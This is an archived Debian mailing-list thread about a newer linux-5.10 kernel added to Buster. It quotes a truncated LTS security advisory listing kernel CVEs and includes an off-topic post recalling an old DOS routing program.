> > took place within the trajectory of a single Debian version? Or have kernel
> > _version_ changes always taken place at debian release boundaries before?
> 
> It's important to note that this is an optional, newer kernel image.
> Users who've just been running buster from the beginning may not even
> know about it, and it will have no effect on them.
> 
> It's very much UNlike the version bumps on, say, samba that have happened
> mid-stable-release in the past.
> 
> I'm fairly certain other releases have had optional kernel packages
> added to them, but I can't name any other than "etch-and-a-half" off
> the top of my head.
> 
> https://wiki.debian.org/EtchAndAHalf

>From my notes,

slink was 2.0.3n, but 2.2 was runnable, and I built a 2.2.10. It was
kernel-image back then, presumably as there was no hurd.

potato was 2.2.19, but it appears there were 2.4 ones around too. I'm
not sure where the latter originated, but perhaps the name of one of
the sources, kernel-source-2.4.9-0.bunk, might be a clue.

sarge had 2.4.27 and 2.6.8 kernels, but the latter might not have been
all archs.

etch was all 2.6.

AFAICT lenny was still 2.6 when I built my last kernel, 2.6.26lucy.

While these are all version 2.x, AIUI everything changed after that.
So the x in 2.x is really equivalent to the first digit nowadays,
except of course that x had to increment by 2 each time.

Cheers,
David.



Re: Fwd: [SECURITY] [DLA 3173-1] linux-5.10 security update

2022-11-02 Thread Greg Wooledge
On Wed, Nov 02, 2022 at 12:45:57PM -0500, Nicholas Geovanis wrote:
> > > On 2022-11-02 03:40, Anssi Saari wrote:
> > >> Looks like a linux-5.10 source package was indeed added to Buster in
> > >> August and as you noted, it's getting security updates too.

> I'm just curious if this is the first time that a kernel _version_ bump
> took place within the trajectory of a single Debian version? Or have kernel
> _version_ changes always taken place at debian release boundaries before?

It's important to note that this is an optional, newer kernel image.
Users who've just been running buster from the beginning may not even
know about it, and it will have no effect on them.

It's very much UNlike the version bumps on, say, samba that have happened
mid-stable-release in the past.

I'm fairly certain other releases have had optional kernel packages
added to them, but I can't name any other than "etch-and-a-half" off
the top of my head.

https://wiki.debian.org/EtchAndAHalf



Re: Fwd: [SECURITY] [DLA 3173-1] linux-5.10 security update

2022-11-02 Thread Nicholas Geovanis
On Wed, Nov 2, 2022, 9:35 AM Anssi Saari  wrote:

> John Boxall  writes:
>
> > On 2022-11-02 03:40, Anssi Saari wrote:
> >> Looks like a linux-5.10 source package was indeed added to Buster in
> >> August and as you noted, it's getting security updates too. There's some
> >> info on the what and when at https://tracker.debian.org/pkg/linux-5.10
> >> but I don't know the why.
> >>
> >
> > Here is the information on the "why":
> >
> > https://www.debian.org/lts/security/2022/dla-3102
>
> Interesting. I thought it might be that but then as backport users are
> usually left out in the cold as far as security updates are concerned, I
> thought it couldn't be.
>

I'm just curious if this is the first time that a kernel _version_ bump
took place within the trajectory of a single Debian version? Or have kernel
_version_ changes always taken place at debian release boundaries before?

>


Re: Fwd: [SECURITY] [DLA 3173-1] linux-5.10 security update

2022-11-02 Thread Anssi Saari
John Boxall  writes:

> On 2022-11-02 03:40, Anssi Saari wrote:
>> Looks like a linux-5.10 source package was indeed added to Buster in
>> August and as you noted, it's getting security updates too. There's some
>> info on the what and when at https://tracker.debian.org/pkg/linux-5.10
>> but I don't know the why.
>> 
>
> Here is the information on the "why":
>
> https://www.debian.org/lts/security/2022/dla-3102

Interesting. I thought it might be that but then as backport users are
usually left out in the cold as far as security updates are concerned, I
thought it couldn't be.



Re: Fwd: [SECURITY] [DLA 3173-1] linux-5.10 security update

2022-11-02 Thread John Boxall

On 2022-11-02 03:40, Anssi Saari wrote:


Looks like a linux-5.10 source package was indeed added to Buster in
August and as you noted, it's getting security updates too. There's some
info on the what and when at https://tracker.debian.org/pkg/linux-5.10
but I don't know the why.



Here is the information on the "why":

https://www.debian.org/lts/security/2022/dla-3102

--
Regards,

John Boxall



Re: [SECURITY] [DLA 3173-1] linux-5.10 security update

2022-11-02 Thread Felix Miata
Anssi Saari composed on 2022-11-02 09:40 (UTC+0200):

> John Boxall wrote:

>> Did I miss something in the last three years? When did buster go to a
>> 5.10 kernel? My buster system is still on kernel 4.19.

> Looks like a linux-5.10 source package was indeed added to Buster in
> August and as you noted, it's getting security updates too. There's some
> info on the what and when at https://tracker.debian.org/pkg/linux-5.10
> but I don't know the why.

> Maybe this is for Buster's LTS lifecycle and 4.19 is expected to go EOL
> before Buster does? Just a guess.

According to https://wiki.debian.org/DebianReleases Buster doesn't have an LTS. 
:p

Projected EOL for 4.19 currently is 2024-12.
https://www.kernel.org/category/releases.html
-- 
Evolution as taught in public schools is, like religion,
based on faith, not based on science.

 Team OS/2 ** Reg. Linux User #211409 ** a11y rocks!

Felix Miata



Re: Fwd: [SECURITY] [DLA 3173-1] linux-5.10 security update

2022-11-02 Thread Anssi Saari
John Boxall  writes:

> Did I miss something in the last three years? When did buster go to a
> 5.10 kernel? My buster system is still on kernel 4.19.

Looks like a linux-5.10 source package was indeed added to Buster in
August and as you noted, it's getting security updates too. There's some
info on the what and when at https://tracker.debian.org/pkg/linux-5.10
but I don't know the why.

Maybe this is for Buster's LTS lifecycle and 4.19 is expected to go EOL
before Buster does? Just a guess.



Fwd: [SECURITY] [DLA 3173-1] linux-5.10 security update

2022-11-01 Thread John Boxall
Did I miss something in the last three years? When did buster go to a 
5.10 kernel? My buster system is still on kernel 4.19.



 Forwarded Message 
Subject: [SECURITY] [DLA 3173-1] linux-5.10 security update
Resent-Date: Tue,  1 Nov 2022 20:58:06 + (UTC)
Resent-From: debian-lts-annou...@lists.debian.org
Date: Tue, 01 Nov 2022 21:57:30 +0100
From: Ben Hutchings 
Reply-To: debian-...@lists.debian.org
Organization: Debian
To: debian-lts-annou...@lists.debian.org

-
Debian LTS Advisory DLA-3173-1debian-...@lists.debian.org
https://www.debian.org/lts/security/Ben Hutchings
November 1, 2022  https://wiki.debian.org/LTS
-

Package: linux-5.10
Version: 5.10.149-2~deb10u1
CVE ID : CVE-2021-4037 CVE-2022-0171 CVE-2022-1184 CVE-2022-1679
 CVE-2022-2153 CVE-2022-2602 CVE-2022-2663 CVE-2022-2905
 CVE-2022-3028 CVE-2022-3061 CVE-2022-3176 CVE-2022-3303
 CVE-2022-3586 CVE-2022-3621 CVE-2022-3625 CVE-2022-3629
 CVE-2022-3633 CVE-2022-3635 CVE-2022-3646 CVE-2022-3649
 CVE-2022-20421 CVE-2022-20422 CVE-2022-39188 
CVE-2022-39190
 CVE-2022-39842 CVE-2022-40307 CVE-2022-41222 
CVE-2022-41674
 CVE-2022-42719 CVE-2022-42720 CVE-2022-42721 
CVE-2022-42722

 CVE-2022-43750
Debian Bug : 1017425 1019248

Several vulnerabilities have been discovered in the Linux kernel that
may lead to a privilege escalation, denial of service or information
leaks.

CVE-2021-4037

Christian Brauner reported that the inode_init_owner function for
the XFS filesystem in the Linux kernel allows local users to
create files with an unintended group ownership allowing attackers
to escalate privileges by making a plain file executable and SGID.

CVE-2022-0171

Mingwei Zhang reported that a cache incoherence issue in the SEV
API in the KVM subsystem may result in denial of service.

CVE-2022-1184

A flaw was discovered in the ext4 filesystem driver which can lead
to a use-after-free. A local user permitted to mount arbitrary
filesystems could exploit this to cause a denial of service (crash
or memory corruption) or possibly for privilege escalation.

CVE-2022-1679

The syzbot tool found a race condition in the ath9k_htc driver
which can lead to a use-after-free.  This might be exploitable to
cause a denial service (crash or memory corruption) or possibly
for privilege escalation.

CVE-2022-2153

"kangel" reported a flaw in the KVM implementation for x86
processors which could lead to a null pointer dereference. A local
user permitted to access /dev/kvm could exploit this to cause a
denial of service (crash).

CVE-2022-2602

A race between handling an io_uring request and the Unix socket
garbage collector was discovered. An attacker can take advantage
of this flaw for local privilege escalation.

CVE-2022-2663

David Leadbeater reported flaws in the nf_conntrack_irc
connection-tracking protocol module. When this module is enabled
on a firewall, an external user on the same IRC network as an
internal user could exploit its lax parsing to open arbitrary TCP
ports in the firewall, to reveal their public IP address, or to
block their IRC connection at the firewall.

CVE-2022-2905

Hsin-Wei Hung reported a flaw in the eBPF verifier which can lead
to an out-of-bounds read.  If unprivileged use of eBPF is enabled,
this could leak sensitive information.  This was already disabled
by default, which would fully mitigate the vulnerability.

CVE-2022-3028

Abhishek Shah reported a race condition in the AF_KEY subsystem,
which could lead to an out-of-bounds write or read.  A local user
could exploit this to cause a denial of service (crash or memory
corruption), to obtain sensitive information, or possibly for
privilege escalation.

CVE-2022-3061

A flaw was discovered in the i740 driver which may result in
denial of service.

This driver is not enabled in Debian's official kernel
configurations.

CVE-2022-3176

A use-after-free flaw was discovered in the io_uring subsystem
which may result in local privilege escalation to root.

CVE-2022-3303

A race condition in the snd_pcm_oss_sync function in the sound
subsystem in the Linux kernel due to improper locking may result
in denial of service.

CVE-2022-3586 (ZDI-22-1452)

The Zero Day Initiative reported a flaw in the sch_sfb network
scheduler, which may lead to a use-after-free and leak of
sensitive information from the kernel.

CVE-2022-3621, CVE-2022-3646

The syzbot tool found flaws in the nilfs2 filesystem driver which
can lead

Subject: OT: for posterity: iproute -- dos program by David F. Mischler: (was: CVE security vulnerabilities, versions and ... )

2022-08-30 Thread rhkramer
On Wednesday, August 10, 2022 08:55:20 AM Dan Ritter wrote:
> rhkra...@gmail.com wrote:
> > I.e., if a computer on the LAN contacted a computer outside the LAN, NAT
> > would allow incoming data from that external computer, but not allow
> > incoming data from other external computers.
> 
> That's a slight confusion of NAT and packet filtering. NAT by
> itself doesn't do that.

Ahh, ok.  

For posterity (I sometimes call her pos for short), I wanted to mention a dos 
program named iproute written by David F. Mischler.

At most, this has only a slight similarity (it had some features) of the Linux 
iproute.

I used it back in the day -- I wish I had kept a record of the incremental 
changes I made in my LAN over the years, which at various times:

   * included some now defunct hardware ("Network Interface Cards" that were 
not Ethernet (well, at least not Ethernet as we knew it then or now -- among 
other things it ran on a 93 ohm coax (RG-62 -- I probably still have some 
coiled up in the basement if anyone needs it) -- and I've suspected it ran 
something like some variation of RS-232 "under the covers", but "they" would 
never tell you that.

   * I forget which networking software ran on that hardware (under dos or 
Windows), but, over the years, I ran quite a variety -- one was named "Lil Big 
Lan" and featured an Indian on the logo, another, iirc, was named 10Net (no 
relation, afaik) to the 10Net that exists today, and, I don't know, probably 
at least 3 or 4 others.

To get more specific about the dos iproute program by Mischler, it was sort of 
a monolithic program that could:

   * control a dial up modem (it could control something other than an 
ordinary dial-up modem, but I never used those at the time, so I don't 
remember anything about them

   * interface to Ethernet NICs

   * do the functions of NAT and some filtering / firewalling (iiuc)

My point (or one of them) is that, being a monolithic program (at least from a 
user's point of view), I just thought of it as performing NAT, and my 
understanding of NAT was (and still is, I guess) influenced by what that 
iproute could do -- it could do all of the things listed below, and I didn't 
distinguish between what NAT did and what any built-in filtering / firewalling 
may have done.

That iproute was a shareware program, and I think the version I (eventually) 
used was v.94 (I may have started with an earlier version.  That may have come 
into being somewhere in the time period 1992 to 1994:

   * that is only a guess based on the earliest dates in the documentation 
that I could find for NAT (I believe I found such dates in an RFC, but also 
statements in other places that NAT existed (in various forms) before it was 
"documented" in an RFC

   * another part of my guess is the guess that maybe v.94 was released in 
1994.

I used iproute in a dedicated computer, and probably used it until I stopped 
using a dial-up modem, which I'm guessing was well after 2000 -- I might have 
some clues somewhere in various notes, but I don't want to go looking for them 
at the moment.

At some point, version 1.10 was released (that may have been the last release) 
and that was somewhat more of a commercial version as opposed to the earlier 
shareware versions.

Just to make it clear, iproute could rout (serve as a router) to multiple 
computers, I'm sure that I had at least 4 and maybe as many as 7 computers on 
my LAN while using iproute.

As an aside, I'm trying to remember if I still used that iproute box when I 
switched from coax Ethernet to twisted pair Ethernet -- I would have had to 
change the NIC cards -- well, except maybe some of those could use coax or 
twisted pair?  I'm pretty sure I had some of those.

-- 
rhk

If you reply: snip, snip, and snip again; leave attributions; avoid HTML; 
avoid top posting; and keep it "on list".  (Oxford comma included at no 
charge.)  If you change topics, change the Subject: line. 

Writing is often meant for others to read (legal agreements excepted?) -- make 
it easier for your reader by various means, including liberal use of 
whitespace.

If someone else has already responded to a question, decide whether any 
response you add will be helpful or not ...

A picture is worth a thousand words -- divide by 10 for each minute of video 
(or audio) or create a transcript and edit it to 10% of the original.



  1   2   3   4   5   6   7   8   9   10   >